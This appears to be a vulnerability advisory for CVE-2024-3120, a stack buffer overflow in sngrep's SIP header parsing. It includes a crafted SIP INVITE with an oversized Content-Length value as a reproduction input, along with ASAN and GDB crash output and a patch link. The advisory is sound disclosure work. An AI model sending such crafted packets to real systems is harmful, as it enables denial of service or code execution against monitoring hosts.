Stack Overflow in Content-Length and Warning headers

Apr 5, 2024

CVE Number

CVE-2024-3120

Credits

Huascar Tejeda of Pentraze Cybersecurity

Summary

The vulnerability arises from improper bounds checking of the Content-Length and Warning headers within SIP messages, leading to potential stack-buffer overflow conditions. This flaw could allow an attacker to execute arbitrary code or cause a Denial of Service (DoS) through crafted SIP packets.

CVSS

9.0 (Critical) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Details

The vulnerability results from insufficient bounds checking before copying the Content-Length and Warning headers into fixed-size buffers within the SIP message processing functions. Specifically, the strncpy function calls in sip_validate_packet and sip_parse_extra_headers in src/sip.c file do not validate the length of the input, potentially leading to stack-buffer overflows for overly large header values.

Steps to reproduce:

  1. Start sngrep in terminal mode: $ sudo sngrep -T
  2. Transmit a SIP message with an excessively large Content-Length value over the network, as demonstrated below:
   INVITE sip:[email protected] SIP/2.0\r\n
   Via: SIP/2.0/UDP 10.1.0.2:5060;branch=z9hG4bK-12345\r\n
   Content-Length: 999999999999999\r\n\r\n

Proposed Fix:

I’ve developed a patch that introduces proper bounds checking for the Content-Length and Warning header values. The commit with the proposed fix can be viewed here: https://github.com/irontec/sngrep/commit/f229a5d31b0be6a6cc3ab4cd9bfa4a1b5c5714c6

ASAN

=================================================================
==3094560==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff40c596a at pc 0x55555565157a bp 0x7ffff4afe770 sp 0x7ffff4afdf30
WRITE of size 32 at 0x7ffff40c596a thread T1
    #0 0x555555651579 in strncpy (/home/htejeda/sngrep/src/sngrep+0xfd579) (BuildId: 62e1f4d43b909825)
    #1 0x5555556b7519 in sip_validate_packet /home/htejeda/sngrep/src/sip.c:294:5
    #2 0x5555556ad7e2 in capture_packet_reasm_tcp /home/htejeda/sngrep/src/capture.c:840:17
    #3 0x5555556a89db in parse_packet /home/htejeda/sngrep/src/capture.c:433:21
    #4 0x7ffff7eddc28 in pcap_handle_packet_mmap /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap-linux.c:3978:2
    #5 0x7ffff7ede1c3 in pcap_read_linux_mmap_v3 /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap-linux.c:4128:10
    #6 0x7ffff7ee207d in pcap_loop /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap.c:2904:9
    #7 0x5555556a6e46 in capture_thread /home/htejeda/sngrep/src/capture.c:1069:5
    #8 0x7ffff7a94ac2 in start_thread nptl/pthread_create.c:442:8
    #9 0x7ffff7b2684f  misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

Address 0x7ffff40c596a is located in stack of thread T1 at offset 10602 in frame
    #0 0x5555556b6fcf in sip_validate_packet /home/htejeda/sngrep/src/sip.c:263

  This frame has 3 object(s):
    [32, 10272) 'payload' (line 265)
    [10528, 10560) 'pmatch' (line 266)
    [10592, 10602) 'cl_header' (line 267) <== Memory access at offset 10602 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
Thread T1 created by T0 here:
    #0 0x55555564ec0a in pthread_create (/home/htejeda/sngrep/src/sngrep+0xfac0a) (BuildId: 62e1f4d43b909825)
    #1 0x5555556b07f2 in capture_launch_thread /home/htejeda/sngrep/src/capture.c:1054:13
    #2 0x5555556ca643 in main /home/htejeda/sngrep/src/main.c:451:9
    #3 0x7ffff7a29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/htejeda/sngrep/src/sngrep+0xfd579) (BuildId: 62e1f4d43b909825) in strncpy
Shadow bytes around the buggy address:
  0x7ffff40c5680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff40c5700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff40c5780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff40c5800: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x7ffff40c5880: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
=>0x7ffff40c5900: f2 f2 f2 f2 00 00 00 00 f2 f2 f2 f2 00[02]f3 f3
  0x7ffff40c5980: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7ffff40c5a00: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7ffff40c5a80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7ffff40c5b00: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7ffff40c5b80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3094560==ABORTING

GDB Backtrace

#0  0x00007ffff7c969fc in __pthread_kill_implementation (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_kill.c:44

#1  0x00007ffff7c969fc in __pthread_kill_internal (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_kill.c:78

#2  0x00007ffff7c969fc in __GI___pthread_kill (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_kill.c:89

#3  0x00007ffff7c42476 in __GI_raise (/lib/x86_64-linux-gnu/libc.so.6)
                       at ../sysdeps/posix/raise.c:26

#4  0x00007ffff7c287f3 in __GI_abort (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./stdlib/abort.c:79

#5  0x00007ffff7c89676 in __libc_message (/lib/x86_64-linux-gnu/libc.so.6)
                       at ../sysdeps/posix/libc_fatal.c:155

#6  0x00007ffff7d3659a in __GI___fortify_fail (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./debug/fortify_fail.c:26

#7  0x00007ffff7d34f16 in __GI___chk_fail (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./debug/chk_fail.c:28

#8  0x00007ffff7d34959 in __strncpy_chk (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./debug/strncpy_chk.c:26

#9  0x000055555556015e in strncpy (/home/htejeda/sngrep/src/sngrep)
                       ??: char strncpy(__len = (size_t)<optimized out>, __src = (const char * restrict)<optimized out>, __dest = (char * restrict)0x7ffff78823d6 "") {
                       ||:
                       ||: /* Local reference: size_t __len = <optimized out>; */
                       ||: /* Local reference: char * restrict __dest = 0x7ffff78823d6 ""; */
                       ||: /* Local reference: const char * restrict __src = <optimized out>; */
                       93:              size_t __len))
                       94: {
                       95:   return __builtin___strncpy_chk (__dest, __src, __len,
                       ||:
                       --: }
                       at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95

#10 0x000055555556015e in sip_validate_packet (/home/htejeda/sngrep/src/sngrep)
                       262: int sip_validate_packet(packet = (packet_t *)0x7ffff0000e70) {
                       |||:
                       |||: /* Local reference: char [10] cl_header = "\000\000\000\000\000\000\000\000\000"; */
                       |||: /* Local reference: u_char [10240] payload = "INVITE sip:[email protected] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\nContent-Length: ", '9' <repeats 32 times>, "\r\n\r\n\n", '\000' <repeats 1... */
                       |||: /* Local reference: regmatch_t [4] pmatch = {{rm_so = 96, rm_eo = 145}, {rm_so = 96, rm_eo = 110}, {rm_so = 112, rm_eo = 144}, {rm_so = -1, rm_eo = -1}}; */
                       292:     }
                       293:
                       294:     strncpy(cl_header, (const char *)payload +  pmatch[2].rm_so, (int)pmatch[2].rm_eo - pmatch[2].rm_so);
                       |||:
                       ---: }
                       at sip.c:294

#11 0x000055555555de4c in capture_packet_reasm_tcp (/home/htejeda/sngrep/src/sngrep)
                       763: packet_t capture_packet_reasm_tcp(capinfo = (capture_info_t *)0x5555555a9700, packet = (packet_t *)0x7ffff0000e70, tcp = (struct tcphdr *)0x7ffff7889d08, payload = (u_char *)0x7ffff7889d28 "INVITE sip:[email protected] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\nContent-Length: ", '9' <repeats 32 times>, "\r\n\r\n\n", size_payload = (int)149) {
                       |||:
                       |||: /* Local reference: packet_t * packet = 0x7ffff0000e70; */
                       |||: /* Local reference: int original_size = 149; */
                       |||: /* Local reference: packet_t * pkt = 0x7ffff0000e70; */
                       |||: /* Local reference: int valid = <optimized out>; */
                       838:     // This packet is ready to be parsed
                       839:     int original_size = pkt->payload_len;
                       840:     int valid = sip_validate_packet(pkt);
                       |||:
                       ---: }
                       at capture.c:840

#12 0x000055555555f26d in parse_packet (/home/htejeda/sngrep/src/sngrep)
                       320: void parse_packet(info = (u_char *)0x5555555a9700 "\001\001", header = (const struct pcap_pkthdr *)0x7ffff788ed40, packet = (const u_char *)<optimized out>) {
                       |||:
                       |||: /* Local reference: const u_char * packet = <optimized out>; */
                       |||: /* Local reference: packet_t * pkt = 0x7ffff0000e70; */
                       |||: /* Local reference: struct tcphdr * tcp = 0x7ffff7889d08; */
                       |||: /* Local reference: u_char * payload = 0x7ffff7889d28 "INVITE sip:[email protected] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\nContent-Length: ", '9' <repeats 32 times>, "\r\n\r\n\n"; */
                       |||: /* Local reference: uint32_t size_payload = 149; */
                       431:
                       432:         // Create a structure for this captured packet
                       433:         if (!(pkt = capture_packet_reasm_tcp(capinfo, pkt, tcp, payload, size_payload)))
                       |||:
                       ---: }
                       at capture.c:433

#13 0x00007ffff7f00c54 in pcap_offline_read (/lib/x86_64-linux-gnu/libpcap.so.0.8)
                       at ./savefile.c:654

#14 0x00007ffff7ee2048 in pcap_loop (/lib/x86_64-linux-gnu/libpcap.so.0.8)
                       at ./pcap.c:2897

#15 0x000055555555d410 in capture_thread (/home/htejeda/sngrep/src/sngrep)
                       1064: void capture_thread(info = (void *)0x5555555a9700) {
                       ||||:
                       ||||: /* Local reference: capture_info_t * capinfo = 0x5555555a9700; */
                       1067:
                       1068:     // Parse available packets
                       1069:     pcap_loop(capinfo->handle, -1, parse_packet, (u_char *) capinfo);
                       ||||:
                       ----: }
                       at capture.c:1069

#16 0x00007ffff7c94ac3 in start_thread (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_create.c:442

#17 0x00007ffff7d26850 in clone3 (/lib/x86_64-linux-gnu/libc.so.6)
                       at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

Crash context:
Execution stopped here ==> 0x00007ffff7c969fc: mov    r13d,eax

Register info:
   rax - 0x0000000000000000 (0)
   rbx - 0x00007ffff788f640 (140737346336320)
   rcx - 0x00007ffff7c969fc (140737350560252)
   rdx - 0x0000000000000006 (6)
   rsi - 0x000000000018b04d (1617997)
   rdi - 0x000000000018abb8 (1616824)
   rbp - 0x000000000018b04d (0x18b04d)
   rsp - 0x00007ffff7882020 (0x7ffff7882020)
    r8 - 0x00007ffff78820f0 (140737346281712)
    r9 - 0x0000000000000000 (0)
   r10 - 0x0000000000000008 (8)
   r11 - 0x0000000000000246 (582)
   r12 - 0x0000000000000006 (6)
   r13 - 0x0000000000000016 (22)
   r14 - 0x0000000000000002 (2)
   r15 - 0x0000000000000001 (1)
   rip - 0x00007ffff7c969fc (0x7ffff7c969fc <__GI___pthread_kill+300>)
eflags - 0x00000246 ([ PF ZF IF ])
    cs - 0x00000033 (51)
    ss - 0x0000002b (43)
    ds - 0x00000000 (0)
    es - 0x00000000 (0)
    fs - 0x00000000 (0)
    gs - 0x00000000 (0)
    

¿Ver el sitio en español?